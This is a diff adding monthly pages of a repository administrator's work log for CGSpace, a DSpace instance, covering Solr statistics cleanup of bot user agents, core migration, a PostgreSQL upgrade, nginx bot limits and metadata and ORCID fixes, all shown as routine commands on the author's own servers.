+      3 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
+     24 GuzzleHttp/6.3.3 curl/7.59.0 PHP/7.0.31
+     34 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
+     98 Apache-HttpClient/4.3.4 (java 1.5)
+  54850 -
+
    +
  • I see lots of requests coming from the following user agents:
    • +
+
"Apache-HttpClient/4.5.7 (Java/11.0.3)"
+"Apache-HttpClient/4.5.7 (Java/11.0.2)"
+"LinkedInBot/1.0 (compatible; Mozilla/5.0; Jakarta Commons-HttpClient/4.3 +http://www.linkedin.com)"
+"EventMachine HttpClient"
+
    +
  • I should definitely add HttpClient to the bot user agents…
    • +
  • Also, while bot, spider, and crawl are in the pattern list already and can be used for case-insensitive matching when used by DSpace in Java, I can’t do case-insensitive matching in Solr with check-spider-hits.sh +
      +
    • I need to add Bot, Spider, and Crawl to my local user agent file to purge them
      • +
    • Also, I see lots of hits from “Indy Library”, which we’ve been blocking for a long time, but somehow these got through (I think it’s the Greek guys using Delphi)
      • +
    • Somehow my regex conversion isn’t working in check-spider-hits.sh, but “Indy” will work for now
      • +
    • Purging just these case-sensitive patterns removed ~1 million more hits from 2011 to 2020
      • +
    +
    • +
  • More weird user agents in 2019:
    • +
+
ecolink (+https://search.ecointernet.org/)
+ecoweb (+https://search.ecointernet.org/)
+EcoInternet http://www.ecointernet.org/
+EcoInternet http://ecointernet.org/
+

2020-02-25

+
    +
  • And what’s the 950,000 hits from Online.net IPs with the following user agent:
    • +
+
Mozilla/5.0 ((Windows; U; Windows NT 6.1; fr; rv:1.9.2) Gecko/20100115 Firefox/3.6)
+
    +
  • Over half of the requests were to Discover and Browse pages, and the rest were to actual item pages, but they were within seconds of each other, so I’m purging them all
    • +
  • I looked deeper in the Solr statistics and found a bunch more weird user agents:
    • +
+
LinkedInBot/1.0 (compatible; Mozilla/5.0; Jakarta Commons-HttpClient/4.3
+EventMachine HttpClient
+ecolink (+https://search.ecointernet.org/)
+ecoweb (+https://search.ecointernet.org/)
+EcoInternet http://www.ecointernet.org/
+EcoInternet http://ecointernet.org/
+Biosphere EcoSearch http://search.ecointernet.org/
+Typhoeus - https://github.com/typhoeus/typhoeus
+Citoid (Wikimedia tool; learn more at https://www.mediawiki.org/wiki/Citoid)
+node-fetch/1.0 (+https://github.com/bitinn/node-fetch)
+7Siters/1.08 (+https://7ooo.ru/siters/)
+sqlmap/1.0-dev-nongit-20190527 (http://sqlmap.org)
+sqlmap/1.3.4.14#dev (http://sqlmap.org)
+lua-resty-http/0.10 (Lua) ngx_lua/10000
+omgili/0.5 +http://omgili.com
+IZaBEE/IZaBEE-1.01 (Buzzing Abound The Web; https://izabee.com; info at izabee dot com)
+Twurly v1.1 (https://twurly.org)
+okhttp/3.11.0
+okhttp/3.10.0
+Pattern/2.6 +http://www.clips.ua.ac.be/pattern
+Link Check; EPrints 3.3.x;
+CyotekWebCopy/1.7 CyotekHTTP/2.0
+Adestra Link Checker: http://www.adestra.co.uk
+HTTPie/1.0.2
+
    +
  • I notice that some of these would be matched by the COUNTER-Robots list when DSpace uses it in Java because there we have more robust (and case-insensitive) matching +
      +
    • I created a temporary file of some of the patterns and converted them to use capitalization so I could run them through check-spider-hits.sh
      • +
    +
    • +
+
Link.?Check
+Http.?Client
+ecointernet
+
    +
  • That removes another 500,000 or so:
    • +
+
$ ./check-spider-hits.sh -u http://localhost:8081/solr -f /tmp/agents -s statistics -p
+Purging 253 hits from Jersey\/[0-9] in statistics
+Purging 7302 hits from Link.?Check in statistics
+Purging 85574 hits from Http.?Client in statistics
+Purging 495 hits from HTTPie\/[0-9] in statistics
+Purging 56726 hits from ecointernet in statistics
+
+Total number of bot hits purged: 150350
+$ ./check-spider-hits.sh -u http://localhost:8081/solr -f /tmp/agents -s statistics-2018 -p
+Purging 3442 hits from Link.?Check in statistics-2018
+Purging 21922 hits from Http.?Client in statistics-2018
+Purging 2120 hits from HTTPie\/[0-9] in statistics-2018
+Purging 10 hits from ecointernet in statistics-2018
+
+Total number of bot hits purged: 27494
+$ ./check-spider-hits.sh -u http://localhost:8081/solr -f /tmp/agents -s statistics-2017 -p
+Purging 6416 hits from Link.?Check in statistics-2017
+Purging 403402 hits from Http.?Client in statistics-2017
+Purging 12 hits from HTTPie\/[0-9] in statistics-2017
+Purging 6 hits from ecointernet in statistics-2017
+
+Total number of bot hits purged: 409836
+$ ./check-spider-hits.sh -u http://localhost:8081/solr -f /tmp/agents -s statistics-2016 -p
+Purging 2348 hits from Link.?Check in statistics-2016
+Purging 225664 hits from Http.?Client in statistics-2016
+Purging 15 hits from HTTPie\/[0-9] in statistics-2016
+
+Total number of bot hits purged: 228027
+$ ./check-spider-hits.sh -u http://localhost:8081/solr -f /tmp/agents -s statistics-2015 -p
+Purging 3459 hits from Link.?Check in statistics-2015
+Purging 263 hits from Http.?Client in statistics-2015
+Purging 15 hits from HTTPie\/[0-9] in statistics-2015
+
+Total number of bot hits purged: 3737
+$ ./check-spider-hits.sh -u http://localhost:8081/solr -f /tmp/agents -s statistics-2014 -p
+Purging 5 hits from Link.?Check in statistics-2014
+Purging 8 hits from Http.?Client in statistics-2014
+Purging 4 hits from HTTPie\/[0-9] in statistics-2014
+
+Total number of bot hits purged: 17
+$ ./check-spider-hits.sh -u http://localhost:8081/solr -f /tmp/agents -s statistics-2011 -p
+Purging 159 hits from Http.?Client in statistics-2011
+
+Total number of bot hits purged: 159
+
    +
  • Make pull requests for issues with user agents in the COUNTER-Robots repository: + +
    • +
  • One benefit of all this is that the size of the statistics Solr core has reduced by 6GiB since yesterday, though I can’t remember how big it was before that +
      +
    • According to my notes it was 43GiB in January when it failed the first time
      • +
    • I wonder if the sharding process would work now…
      • +
    +
    • +
+

2020-02-26

+
    +
  • Bosede finally got back to me about the IITA records from earlier last month (IITA_201907_Jan13) +
      +
    • She said she has added more information to fifty-three of the journal articles, as I had requested
      • +
    +
    • +
  • I tried to migrate the 2019 Solr statistics again on CGSpace because the automatic sharding failed last month:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx512m"
+$ schedtool -D -e ionice -c2 -n7 dspace stats-util -s >> log/cron-stats-util.log.$(date --iso-8601)
+
    +
  • Interestingly I saw this in the Solr log:
    • +
+
2020-02-26 08:55:47,433 INFO  org.apache.solr.core.SolrCore @ [statistics-2019] Opening new SolrCore at [dspace]/solr/statistics/, dataDir=[dspace]/solr/statistics-2019/data/
+2020-02-26 08:55:47,511 INFO  org.apache.solr.servlet.SolrDispatchFilter @ [admin] webapp=null path=/admin/cores params={dataDir=[dspace]/solr/statistics-2019/data&name=statistics-2019&action=CREATE&instanceDir=statistics&wt=javabin&version=2} status=0 QTime=590
+
    +
  • The process has been going for several hours now and I suspect it will fail eventually +
      +
    • I want to explore manually creating and migrating the core
      • +
    +
    • +
  • Manually create a core in the DSpace 6.4-SNAPSHOT instance on my local environment:
    • +
+
$ curl 'http://localhost:8080/solr/admin/cores?action=CREATE&name=statistics-2019&instanceDir=/home/aorth/dspace63/solr/statistics&dataDir=/home/aorth/dspace63/solr/statistics-2019/data'
+
    +
  • After that the statistics-2019 core was immediately available in the Solr UI, but after restarting Tomcat it was gone +
      +
    • I wonder if I import some old statistics into the current statistics core and then let DSpace create the statistics-2019 core itself using dspace stats-util -s will work…
      • +
    +
    • +
  • First export a small slice of 2019 stats from the main CGSpace statistics core, skipping Atmire schema additions:
    • +
+
$ ./run.sh -s http://localhost:8081/solr/statistics -a export -o /tmp/statistics-2019-01-16.json -f 'time:2019-01-16*' -k uid -S author_mtdt,author_mtdt_search,iso_mtdt_search,iso_mtdt,subject_mtdt,subject_mtdt_search,containerCollection,containerCommunity,containerItem,countryCode_ngram,countryCode_search,cua_version,dateYear,dateYearMonth,geoipcountrycode,ip_ngram,ip_search,isArchived,isInternal,isWithdrawn,containerBitstream,file_id,referrer_ngram,referrer_search,userAgent_ngram,userAgent_search,version_id,complete_query,complete_query_search,filterquery,ngram_query_search,ngram_simplequery_search,simple_query,simple_query_search,range,rangeDescription,rangeDescription_ngram,rangeDescription_search,range_ngram,range_search,actingGroupId,actorMemberGroupId,bitstreamCount,solr_update_time_stamp,bitstreamId
+
    +
  • Then import into my local statistics core:
    • +
+
$ ./run.sh -s http://localhost:8080/solr/statistics -a import -o ~/Downloads/statistics-2019-01-16.json -k uid
+$ ~/dspace63/bin/dspace stats-util -s
+Moving: 21993 into core statistics-2019
+
    +
  • To my surprise, the statistics-2019 core is created and the documents are immediately visible in the Solr UI! +
      +
    • Also, I am able to see the stats in DSpace’s default “View Usage Statistics” screen
      • +
    • Items appear with the words “(legacy)” at the end, ie “Improving farming practices in flood-prone areas in the Solomon Islands(legacy)”
      • +
    • Interestingly, if I make a bunch of requests for that item they will not be recognized as the same item, showing up as “Improving farming practices in flood-prone areas in the Solomon Islands” without the the legacy identifier
      • +
    • I need to remember to test out the SolrUpgradePre6xStatistics tool
      • +
    +
    • +
  • After restarting my local Tomcat on DSpace 6.4-SNAPSHOT the statistics-2019 core loaded up… +
      +
    • I wonder what the difference is between the core I created vs the one created by stats-util?
      • +
    • I’m honestly considering just moving everything back into one core…
      • +
    • Or perhaps I can export all the stats for 2019 by month, then delete everything, re-import each month, and migrate them with stats-util
      • +
    +
    • +
  • A few hours later the sharding has completed successfully so I guess I don’t have to worry about this any more for now, though I’m seriously considering moving all my data back into the one statistics core
    • +
  • Testing some proposed patches for 6.4 in my local 6_x-dev64 branch
    • +
  • DS-4135 (citation author UTF-8) + +
    • +
+
<meta content="Thu hoạch v&agrave; bảo quản c&agrave; ph&ecirc; ch&egrave; đ&uacute;ng kỹ thuật (Harvesting and storing Arabica coffee)" name="citation_title">
+<meta name="citation_title" content="Thu hoạch và bảo quản cà phê chè đúng kỹ thuật (Harvesting and storing Arabica coffee)" />
+
+

2020-02-27

+
    +
  • Tezira startd a discussion on Yammer about the ISI Journal field +
      +
    • She and Abenet both insist that selecting N/A for the “Journal status” in the submission form makes the item show ISI Journal on the item display page
      • +
    • I told them that the N/A does not store a value so this is impossible
      • +
    • I tested it to be sure on DSpace Test, and it does not show a value…
      • +
    • I checked this morning’s database snapshot and found three items that had a value of N/A, but they have already been fixed manually on CGSpace by Abenet or Tezira
      • +
    • I re-worded the N/A to say “Non-ISI Journal” in the submission form, though it still does not store a value
      • +
    +
    • +
  • I tested the one last remaining issue with our 6.x-dev branch: the export CSV from search results + +
    • +
  • I added some debugging to the Solr core loading in DSpace 6.4-SNAPSHOT (SolrLoggerServiceImpl.java) and I see this when DSpace starts up now:
    • +
+
2020-02-27 12:26:35,695 INFO  org.dspace.statistics.SolrLoggerServiceImpl @ Alan Ping of Solr Core [statistics-2019] Failed with [org.apache.solr.client.solrj.impl.HttpSolrServer$RemoteSolrException].  New Core Will be Created
+
    +
  • When I check Solr I see the statistics-2019 core loaded (from stats-util -s yesterday, not manually created)
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2020-03/index.html b/docs/2020-03/index.html new file mode 100644 index 000000000..5f820c225 --- /dev/null +++ b/docs/2020-03/index.html @@ -0,0 +1,538 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + March, 2020 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

March, 2020

+

+ + in + Notes + + +

+
+

2020-03-02

+
    +
  • Update dspace-statistics-api for DSpace 6+ UUIDs +
      +
    • Tag version 1.2.0 on GitHub
      • +
    +
    • +
  • Test migrating legacy Solr statistics to UUIDs with the as-of-yet unreleased SolrUpgradePre6xStatistics.java +
      +
    • You need to download this into the DSpace 6.x source and compile it
      • +
    +
    • +
+
$ export JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8"
+$ ~/dspace63/bin/dspace solr-upgrade-statistics-6x
+

2020-03-03

+
    +
  • Skype with Peter and Abenet to discuss the CG Core survey +
      +
    • We also discussed some other CGSpace issues
      • +
    +
    • +
+

2020-03-04

+
    +
  • Abenet asked me to add some new ILRI subjects to CGSpace +
      +
    • I updated the input-forms.xml in our 5_x-prod branch on GitHub
      • +
    • Abenet said we are changing HEALTH to HUMAN HEALTH so I need to fix those using my fix-metadata-values.py script:
      • +
    +
    • +
+
$ ./fix-metadata-values.py -i 2020-03-04-fix-1-ilri-subject.csv -db dspace -u dspace -p 'fuuu' -f cg.subject.ilri -m 203 -t correct -d
+
    +
  • But I have not run it on CGSpace yet because we want to ask Peter if he is sure about it…
    • +
  • Send a message to Macaroni Bros to ask them about their Drupal module and its readiness for DSpace 6 UUIDs
    • +
+

2020-03-05

+ +
+

Lucene/Solr 7.0 was the first version that successfully passed our tests using Java 9 and higher. You should avoid Java 9 or later for Lucene/Solr 6.x or earlier.

+
+

2020-03-08

+
    +
  • I want to try to consolidate our yearly Solr statistics cores back into one statistics core using the solr-import-export-json tool
    • +
  • I will try it on DSpace test, doing one year at a time:
    • +
+
$ ./run.sh -s http://localhost:8081/solr/statistics-2010 -a export -o /tmp/statistics-2010.json -k uid
+$ ./run.sh -s http://localhost:8081/solr/statistics -a import -o /tmp/statistics-2010.json -k uid
+$ curl -s "http://localhost:8081/solr/statistics-2010/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>time:2010*</query></delete>"
+$ ./run.sh -s http://localhost:8081/solr/statistics-2011 -a export -o /tmp/statistics-2011.json -k uid
+$ ./run.sh -s http://localhost:8081/solr/statistics -a import -o /tmp/statistics-2011.json -k uid
+$ curl -s "http://localhost:8081/solr/statistics-2011/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>time:2011*</query></delete>"
+$ ./run.sh -s http://localhost:8081/solr/statistics -a import -o /tmp/statistics-2012.json -k uid
+$ curl -s 'http://localhost:8081/solr/statistics/select?q=time:2012*&rows=0&wt=json&indent=true' | grep numFound
+  "response":{"numFound":3761989,"start":0,"docs":[]
+$ curl -s 'http://localhost:8081/solr/statistics-2012/select?q=time:2012*&rows=0&wt=json&indent=true' | grep numFound
+  "response":{"numFound":3761989,"start":0,"docs":[]
+$ curl -s "http://localhost:8081/solr/statistics-2012/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>time:2012*</query></delete>"
+
    +
  • I will do this for as many cores as I can (disk space limited) and then monitor the effect on the system and JVM memory usage +
      +
    • Exporting half years might work, using a filter query with months as a regular expression:
      • +
    +
    • +
+
$ ./run.sh -s http://localhost:8081/solr/statistics-2014 -a export -o /tmp/statistics-2014-1.json -k uid -f 'time:/2014-0[1-6].*/'
+
    +
  • Upgrade PostgreSQL from 9.6 to 10 on DSpace Test (linode19) +
      +
    • I’ve been running it for one month in my local environment, and others have reported on the dspace-tech mailing list that they are using 10 and 11
      • +
    +
    • +
+
# apt install postgresql-10 postgresql-contrib-10
+# systemctl stop tomcat7
+# pg_ctlcluster 9.6 main stop
+# tar -cvzpf var-lib-postgresql-9.6.tar.gz /var/lib/postgresql/9.6
+# tar -cvzpf etc-postgresql-9.6.tar.gz /etc/postgresql/9.6
+# pg_ctlcluster 10 main stop
+# pg_dropcluster 10 main
+# pg_upgradecluster 9.6 main
+# pg_dropcluster 9.6 main
+# dpkg -l | grep postgresql | grep 9.6 | awk '{print $2}' | xargs dpkg -r
+

2020-03-09

+
    +
  • Peter noticed that the Solr stats were not showing anything before 2020 +
      +
    • I had to restart Tomcat three times before all cores loaded properly…
      • +
    +
    • +
+

2020-03-10

+
    +
  • Fix some logic issues in the nginx config +
      +
    • Use generic blocking of [Bb]ot and [Cc]rawl and [Ss]pider in the “badbots” rate limiting logic instead of trying to list them all one by one (bots should not be trying to index dynamic pages no matter what so we punish hard here)
      • +
    • We were not properly forwarding the remote IP address to Tomcat in all nginx location blocks, which led some locations to log a hit from 127.0.0.1 (because we need to explicitly add the global proxy params when setting other headers in location blocks)
      • +
    • Unfortunately this affected the REST API and there are a few hundred thousand requests from this user agent:
      • +
    +
    • +
+
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 (.NET CLR 3.5.30729)
+
    +
  • It seems to only be a problem in the last week:
    • +
+
# zgrep -c 64.225.40.66 /var/log/nginx/rest.log.{1..9}
+/var/log/nginx/rest.log.1:0
+/var/log/nginx/rest.log.2:0
+/var/log/nginx/rest.log.3:0
+/var/log/nginx/rest.log.4:3625
+/var/log/nginx/rest.log.5:27458
+/var/log/nginx/rest.log.6:0
+/var/log/nginx/rest.log.7:0
+/var/log/nginx/rest.log.8:0
+/var/log/nginx/rest.log.9:0
+
    +
  • In Solr the IP is 127.0.0.1, but in the nginx logs I can luckily see the real IP (64.225.40.66), which is on Digital Ocean
    • +
  • I will purge them from Solr statistics:
    • +
+
$ curl -s "http://localhost:8081/solr/statistics/update?softCommit=true" -H "Content-Type: text/xml" --data-binary '<delete><query>userAgent:"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 (.NET CLR 3.5.30729)"</query></delete>'
+
    +
  • Another user agent that seems to be a bot is:
    • +
+
Mozilla/5.0 ((Windows; U; Windows NT 6.1; fr; rv:1.9.2) Gecko/20100115 Firefox/3.6)
+
    +
  • In Solr the IP is 127.0.0.1 because of the misconfiguration, but in nginx’s logs I see it belongs to three IPs on Online.net in France:
    • +
+
# zcat /var/log/nginx/access.log.*.gz /var/log/nginx/rest.log.*.gz | grep 'Mozilla/5.0 ((Windows; U; Windows NT 6.1; fr; rv:1.9.2) Gecko/20100115 Firefox/3.6)' | awk '{print $1}' | sort | uniq -c
+  63090 163.172.68.99
+ 183428 163.172.70.248
+ 147608 163.172.71.24
+
    +
  • It is making 10,000 to 40,000 requests to XMLUI per day…
    • +
+
# zgrep -c 'Mozilla/5.0 ((Windows; U; Windows NT 6.1; fr; rv:1.9.2) Gecko/20100115 Firefox/3.6)' /var/log/nginx/access.log.{1..9}
+/var/log/nginx/access.log.30.gz:18687
+/var/log/nginx/access.log.31.gz:28936
+/var/log/nginx/access.log.32.gz:36402
+/var/log/nginx/access.log.33.gz:38886
+/var/log/nginx/access.log.34.gz:30607
+/var/log/nginx/access.log.35.gz:19040
+/var/log/nginx/access.log.36.gz:10780
+/var/log/nginx/access.log.37.gz:5808
+/var/log/nginx/access.log.38.gz:3100
+/var/log/nginx/access.log.39.gz:1485
+/var/log/nginx/access.log.3.gz:2898
+/var/log/nginx/access.log.40.gz:373
+/var/log/nginx/access.log.41.gz:3909
+/var/log/nginx/access.log.42.gz:4729
+/var/log/nginx/access.log.43.gz:3906
+
    +
  • I will purge those hits too!
    • +
+
$ curl -s "http://localhost:8081/solr/statistics/update?softCommit=true" -H "Content-Type: text/xml" --data-binary '<delete><query>userAgent:"Mozilla/5.0 ((Windows; U; Windows NT 6.1; fr; rv:1.9.2) Gecko/20100115 Firefox/3.6)"</query></delete>'
+
    +
  • Shit, and something happened and a few thousand hits from user agents with “Bot” in their user agent got through +
      +
    • I need to re-run the check-bot-hits.sh script with the standard COUNTER-Robots list again, but add my own versions of a few because the script/Solr doesn’t support case-insensitive regular expressions:
      • +
    +
    • +
+
$ ./check-spider-hits.sh -f /tmp/bots -d -p
+(DEBUG) Using spiders pattern file: /tmp/bots
+(DEBUG) Checking for hits from spider: Citoid
+Purging 11 hits from Citoid in statistics
+(DEBUG) Checking for hits from spider: ecointernet
+Purging 375 hits from ecointernet in statistics
+(DEBUG) Checking for hits from spider: ^Pattern\/[0-9]
+Purging 1 hits from ^Pattern\/[0-9] in statistics
+(DEBUG) Checking for hits from spider: sqlmap
+(DEBUG) Checking for hits from spider: Typhoeus
+Purging 6 hits from Typhoeus in statistics
+(DEBUG) Checking for hits from spider: 7siters
+(DEBUG) Checking for hits from spider: Apache-HttpClient
+Purging 3178 hits from Apache-HttpClient in statistics
+
+Total number of bot hits purged: 3571
+
+$ ./check-spider-hits.sh -f /tmp/bots -d -p
+(DEBUG) Using spiders pattern file: /tmp/bots
+(DEBUG) Checking for hits from spider: [Bb]ot
+Purging 8317 hits from [Bb]ot in statistics
+(DEBUG) Checking for hits from spider: [Cc]rawl
+Purging 1314 hits from [Cc]rawl in statistics
+(DEBUG) Checking for hits from spider: [Ss]pider
+Purging 62 hits from [Ss]pider in statistics
+(DEBUG) Checking for hits from spider: Citoid
+(DEBUG) Checking for hits from spider: ecointernet
+(DEBUG) Checking for hits from spider: ^Pattern\/[0-9]
+(DEBUG) Checking for hits from spider: sqlmap
+(DEBUG) Checking for hits from spider: Typhoeus
+(DEBUG) Checking for hits from spider: 7siters
+(DEBUG) Checking for hits from spider: Apache-HttpClient
+

2020-03-11

+
    +
  • Ask Michael Victor for permission to create a new Linode server for DSpace Test
    • +
+

2020-3-12

+
    +
  • I’m working on the 170 IITA records on DSpace Test from January finally +
      +
    • It’s been two months since I last looked and I want to do a thorough check to make sure Bosede didn’t introduce any new issues, but I want to consolidate all the text languages for these records so it’s easier to check them in OpenRefine
      • +
    • First I got a list of IDs from csvcut and then I updated the text languages for only those records:
      • +
    +
    • +
+
dspace=# SELECT DISTINCT text_lang, COUNT(*) FROM metadatavalue WHERE resource_type_id=2 AND resource_id in (111295,111294,111293,111292,111291,111290,111288,111286,111285,111284,111283,111282,111281,111280,111279,111278,111277,111276,111275,111274,111273,111272,111271,111270,111269,111268,111267,111266,111265,111264,111263,111262,111261,111260,111259,111258,111257,111256,111255,111254,111253,111252,111251,111250,111249,111248,111247,111246,111245,111244,111243,111242,111241,111240,111238,111237,111236,111235,111234,111233,111232,111231,111230,111229,111228,111227,111226,111225,111224,111223,111222,111221,111220,111219,111218,111217,111216,111215,111214,111213,111212,111211,111209,111208,111207,111206,111205,111204,111203,111202,111201,111200,111199,111198,111197,111196,111195,111194,111193,111192,111191,111190,111189,111188,111187,111186,111185,111184,111183,111182,111181,111180,111179,111178,111177,111176,111175,111174,111173,111172,111171,111170,111169,111168,111299,111298,111297,111296,111167,111166,111165,111164,111163,111162,111161,111160,111159,111158,111157,111156,111155,111154,111153,111152,111151,111150,111149,111148,111147,111146,111145,111144,111143,111142,111141,111140,111139,111138,111137,111136,111135,111134,111133,111132,111131,111129,111128,111127,111126,111125) GROUP BY text_lang ORDER BY count;
+
    +
  • Then I exported the metadata from DSpace Test and imported it into OpenRefine +
      +
    • I corrected one invalid AGROVOC subject using my csv-metadata-quality script
      • +
    +
    • +
  • I exported a new list of affiliations from the database, added line numbers with csvcut, and then validated them in OpenRefine using reconcile-csv:
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value, count(*) FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 211 GROUP BY text_value ORDER BY count DESC LIMIT 1500) to /tmp/2020-03-12-affiliations.csv WITH CSV HEADER;`
+dspace=# \q
+$ csvcut -l -c 0 /tmp/2020-03-12-affiliations.csv | sed -e 's/^line_number/id/' -e 's/text_value/name/' > /tmp/affiliations.csv
+$ lein run /tmp/affiliations.csv name id
+
    +
  • I always forget how to copy the reconciled values in OpenRefine, but you need to make a new column and populate it using this GREL: if(cell.recon.matched, cell.recon.match.name, value)
    • +
  • I mapped all 170 items to their appropriate collections based on type and uploaded them to CGSpace
    • +
+

2020-03-16

+
    +
  • I’m looking at the CPU usage of CGSpace (linode18) over the past year and I see we rarely even go over two CPUs on average sustained usage:
    • +
+

linode18 CPU usage year

+
    +
  • Also clearly visible is the effect of CPU steal in 2019-03
    • +
+

linode18 RAM usage year

+

linode18 JVM heap usage year

+
    +
  • At max we have committed 10GB of RAM, the rest is used opportunistically by the filesystem cache, likely for Solr +
      +
    • There was a huge drop in 2019-07 when I changed the JVM settings
      • +
    • I think we should re-evaluate our deployment and perhaps target a different instance type and add block storage for assetstore (as we determined Linode’s block storage to be too slow for Solr)
      • +
    +
    • +
+

2020-03-17

+
    +
  • Update the PostgreSQL JDBC driver to version 42.2.11
    • +
  • Maria from Bioversity asked me to add a new field for the combined subjects of Bioversity and CIAT, since they merged recently +
      +
    • We will use cg.subject.alliancebiovciat
      • +
    +
    • +
+

2020-03-18

+
    +
  • Provision new Linode server (linode26) for DSpace Test to replace the current linode19 server
    • +
  • Improve DSpace role of Ansible infrastructure playbooks +
      +
    • We should install npm packages in the DSpace user’s home directory instead of globally as root
      • +
    +
    • +
+

2020-03-19

+
    +
  • Finalized migration of DSpace Test to linode26 and removed linode19
    • +
+

2020-03-22

+
    +
  • Look over the AReS ToRs sent by Enrico and Moayad and add a few notes about missing GitHub issues +
      +
    • Hopefully now they can start working on the development!
      • +
    +
    • +
+

2020-03-24

+
    +
  • Skype meeting about CGSpace with Peter and Abenet
    • +
+

2020-03-25

+
    +
  • I sent Atmire a message to ask if they managed to start working on the DSpace 6 port, as the last communication was twenty-six days ago when they said they were going to secure technical resources to do so
    • +
  • Start adapting the dspace role in our Ansible infrastructure playbooks for DSpace 6 support
    • +
+

2020-03-26

+
    +
  • More work adapting the dspace role in our Ansible infrastructure scripts to DSpace 6
    • +
  • Update Tomcat to version 7.0.103 in the Ansible infrastrcutrue playbooks and deploy on DSpace Test (linode26)
    • +
  • Maria sent me a few new ORCID identifiers from Bioversity so I combined them with our existing ones, filtered the unique ones, and then resolved their names using my resolve-orcids.py script:
    • +
+
$ cat ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-id.xml /tmp/bioversity-orcids | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort | uniq > /tmp/2020-03-26-combined-orcids.txt
+$ ./resolve-orcids.py -i /tmp/2020-03-26-combined-orcids.txt -o /tmp/2020-03-26-combined-names.txt -d
+# sort names, copy to cg-creator-id.xml, add XML formatting, and then format with tidy (preserving accents)
+$ tidy -xml -utf8 -iq -m -w 0 dspace/config/controlled-vocabularies/cg-creator-id.xml
+
    +
  • I checked the database for likely matches to the author name and then created a CSV with the author names and ORCID iDs:
    • +
+
dc.contributor.author,cg.creator.id
+"King, Brian","Brian King: 0000-0002-7056-9214"
+"Ortiz-Crespo, Berta","Berta Ortiz-Crespo: 0000-0002-6664-0815"
+"Ekesa, Beatrice","Beatrice Ekesa: 0000-0002-2630-258X"
+"Ekesa, B.","Beatrice Ekesa: 0000-0002-2630-258X"
+"Ekesa, B.N.","Beatrice Ekesa: 0000-0002-2630-258X"
+"Gullotta, G.","Gaia Gullotta: 0000-0002-2240-3869"
+
    +
  • Running the add-orcid-identifiers-csv.py script I added 32 ORCID iDs to items on CGSpace!
    • +
+
$ ./add-orcid-identifiers-csv.py -i /tmp/2020-03-26-ciat-orcids.csv -db dspace -u dspace -p 'fuuu'
+
+

2020-03-29

+
    +
  • Add two more Bioversity ORCID iDs to CGSpace and then tag ~70 of the authors’ existing publications in the database using this CSV with my add-orcid-identifiers-csv.py script:
    • +
+
dc.contributor.author,cg.creator.id
+"Snook, L.K.","Laura Snook: 0000-0002-9168-1301"
+"Snook, L.","Laura Snook: 0000-0002-9168-1301"
+"Zheng, S.J.","Sijun Zheng: 0000-0003-1550-3738"
+"Zheng, S.","Sijun Zheng: 0000-0003-1550-3738"
+
    +
  • Deploy latest Bioversity and CIAT updates on CGSpace (linode18) and DSpace Test (linode26)
    • +
  • Deploy latest Ansible infrastructure playbooks on CGSpace and DSpace Test to get the latest dspace-statistics-api (v1.1.1) and Tomcat (7.0.103) versions
    • +
  • Run system updates on CGSpace and DSpace Test and reboot them +
      +
    • After reboot all the Solr statistics cores came back up on the first time on both servers (yay)
      • +
    +
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2020-04/index.html b/docs/2020-04/index.html new file mode 100644 index 000000000..2b4b65df8 --- /dev/null +++ b/docs/2020-04/index.html @@ -0,0 +1,712 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + April, 2020 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

April, 2020

+

+ + in + Notes + + +

+
+

2020-04-02

+
    +
  • Maria asked me to update Charles Staver’s ORCID iD in the submission template and on CGSpace, as his name was lower case before, and now he has corrected it +
      +
    • I updated the fifty-eight existing items on CGSpace
      • +
    +
    • +
  • Looking into the items Udana had asked about last week that were missing Altmetric donuts: + +
    • +
  • On the same note, the one item Abenet pointed out last week now has a donut with score of 104 after I tweeted it last week
    • +
+
    +
  • Altmetric responded about one item that had no donut since at least 2019-12 and said they fixed some problems with their bot’s user agent +
      +
    • I decided to tweet the item, as I can’t remember if I ever did it before
      • +
    +
    • +
+

2020-04-05

+
    +
  • Update PostgreSQL JDBC driver to version 42.2.12
    • +
+

2020-04-07

+
    +
  • Yesterday Atmire sent me their pull request for DSpace 6 modules
    • +
  • Peter pointed out that some items have his ORCID identifier (cg.creator.id) twice +
      +
    • I think this is because my early add-orcid-identifiers.py script was adding identifiers to existing records without properly checking if there was already one present (at first it only checked if there was one with the exact place value)
      • +
    • As a test I dropped all his ORCID identifiers and added them back with the add-orcid-identifiers.py script:
      • +
    +
    • +
+
$ psql -h localhost -U postgres dspace -c "DELETE FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=240 AND text_value LIKE '%Ballantyne%';"
+DELETE 97
+$ ./add-orcid-identifiers-csv.py -i 2020-04-07-peter-orcids.csv -db dspace -u dspace -p 'fuuu' -d
+
    +
  • I used this CSV with the script (all records with his name have the name standardized like this):
    • +
+
